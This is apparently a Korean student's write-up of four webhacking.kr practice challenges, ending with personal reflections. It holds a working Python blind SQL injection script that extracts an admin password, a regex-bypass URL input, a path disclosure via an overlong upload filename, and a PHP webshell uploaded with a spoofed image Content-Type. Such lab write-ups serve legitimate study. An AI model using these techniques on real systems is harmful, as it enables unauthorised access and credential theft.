💡 11번 문제 풀이
<?php
$pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
if(preg_match($pat,$_GET['val'])){
solve(11);
}
else echo("<h2>Wrong</h2>");
echo("<br><br>");
?>
이 문제에서는 정규 표현식에 대한 기본적인 이해를 요구하고 있다. $pat 부분을 해석해보면
이때 문제에서 get 방식으로 val 을 전달하는데, 브라우저가 url을 자동으로 디코딩하므로 탭을 url인코딩(%09) 해주어야 한다.
따라서 밑의 주소를 문제 url뒤에 붙여주면 될 것이다.
?val=1aaaaa_<자신의 ip주소>%09p%09a%09s%09s
참고로 정규 표현식은 문자열에 나타는 특정 문자 조합과 대응시키기 위한 패턴이며, 복잡한 특정 조건의 문자열을 찾고 싶을 때 사용하면 좋다.
💡 21번 문제 풀이
blind sql 인젠션 문제. blind sql injection이란 참과 거짓의 결과 값이 다름을 사용하여 DB구조를 알아내는 기법이다.
이 문제에서 우선 아이디와 패스워드에 각각 admin, admin을 입력해보니 login fail이 떴고 guest, guest를 쳐보니 login success가 떴다.
아래와 같이 넣어주니 wrong password라고 나왔고, result값을 이용하면 될 것 같다는 생각이 든다. (올바른 쿼리, 즉 sql 공격이 먹히는 쿼리 => "wrong password" 올바르지 않은 쿼리 => "login fail")
파이썬 코드를 작성하기로 했다. 모든 코드를 스스로 작성하기엔 아직 실력이 부족해서 슬프지만,,ㅎㅎ
import requests
url = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'
def query(payload):
res = requests.get(url + payload)
content = res.text
return TRUE_PHRASE in content
def pw_length():
pw_len = 1
while query("' or id='admin' and length(pw)={}-- ".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
def find_pw(): # 문자열을 아스키코드로 반환하는 ord 함수 사용
pw_len = pw_length()
pw = ''
for i in range(1, pw_len + 1):
for char in range(0, 128):
if query("' or id='admin' and ord(substr(pw,{},1))={}-- ".format(i, char)) is True: # 한글자씩 검사
pw += chr(char)
break
print('pw: {}'.format(pw))
find_pw()
<간략한 코드 설명>
코드를 돌려 찾은 비밀번호를 입력해주면 문제가 해결된다.
💡 41번 문제 풀이
<?php
if(isset($_FILES['up']) && $_FILES['up']){
$fn = $_FILES['up']['name'];
$fn = str_replace(".","",$fn);
$fn = str_replace("<","",$fn);
$fn = str_replace(">","",$fn);
$fn = str_replace("/","",$fn);
$cp = $_FILES['up']['tmp_name'];
copy($cp,"./{$upload_dir}/{$fn}");
$f = @fopen("./{$upload_dir}/{$fn}","w");
@fwrite($f,$flag);
@fclose($f);
echo("Done~");
}
?>
아무 파일이나 업로드 해도 Done~이라는 문자는 출력된다. 그러나 업로드된 디렉터리가 어디인지 경로에 안뜨기 때문에 우리는 upload_dir을 알아야 한다. 이 경로를 알기 위해서는 일부러 에러를 일으켜 에러메시지와 함께 경로가 출력되도록 해야 한다.
에러 메세지를 이용해야겠다고 생각한 이유 : fopen, fwrite, fclose는 앞에 @가 있는 반면 copy는 없기 때문에 copy부분을 통해 우리가 에러 메시지를 받을 수 있겠다는 것을 유추할 수 있음.
(php의 @ : 함수 실행 시 에러가 나도 이를 무시하고 에러 메시지를 출력하지 않는다)
버프 스위트로 인터셉트 후 filename을 엄청 길게 변조하여 포워딩 해주었더니(검색해보니 copy함수에서 파일명이 너무 길면 오류가 난다고 한다) 경로가 나타났다.
따라서 정상적인 파일(파일명이 너무 길지 않은 파일 아무거나 - 나의 경우는 text.txt를 만들어 업로드 해주었다) 을 업로드한 다음, Done~이라는 문구가 뜨면 url에 4b0e~9a/파일명 이렇게 입력해주면 플래그 값을 얻을 수 있다.
💡 43번 문제 풀이
버프스위트를 이용해서 풀었다. 인터셉트 후 제출 버튼을 누르면
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
이렇게 뜨는데, 여기서 바로 값들을 수정하고 내용을 추가했다. 문제에서 "You must upload webshell and cat /flag"라고 했으므로 내용에 밑의 코드처럼 입력했고, 이를 포워딩해보면 우선은 file type이 막혔다는 문구가 뜬다.
Content-Disposition: form-data; name="file"; filename="web43.php"
Content-Type: application/octet-stream
<?php
system("cat ./flag");
?>
따라서 Content-Type 부분을 image/png로 바꾸어(text/php도 막혀서 이미지로 올림) 다시 포워딩해보면 아래와 같이 잘 업로드가 되는 걸 볼 수 있다.
(참고로 content type에 뭐가 있는지 궁금하면 http://www.webmadang.net/community/community.do?action=read&boardid=5001&page=1&seq=3 여기서 확인가능)
근데 여기서 뭐가 잘못되었는지 링크를 타고 들어갔는데 화면에 아무것도 안뜬다ㅜㅜ 다른 사람들이 푼 방식을 확인해보니 다 비슷하게 푼 것 같고 저 링크 들어가면 플래그 값이 보인다는데 나만 왜 플래그 안뜨지,,,? 일단 문제 풀이 방법은 알았으니 다음에 뭐가 잘못된건지 천천히 찾아봐야겠다..
😎 느낀점
갈수록 호락호락하지 않다는게 느껴진다. 솔직히 챌린지 문제가 old라서 뭔가 현재 트렌드에 맞는 문제는 아닐 것 같기도 하고 실제 상황에서 일어날 일들도 아닌 것 같지만.. 그래도 문제를 해결했든 못했든 푸는 과정에서 개념, 코드 읽는 방법, 도구 활용법 등을 익힐 수 있다는게 좋은 것 같다. 이번처럼 열심히 했는데도 해결이 안되는 문제가 생기면 일단 넘기고 마지막에 다시 돌아와서 꼭 풀어야겠다ㅜㅜ 이번 주도 화이팅!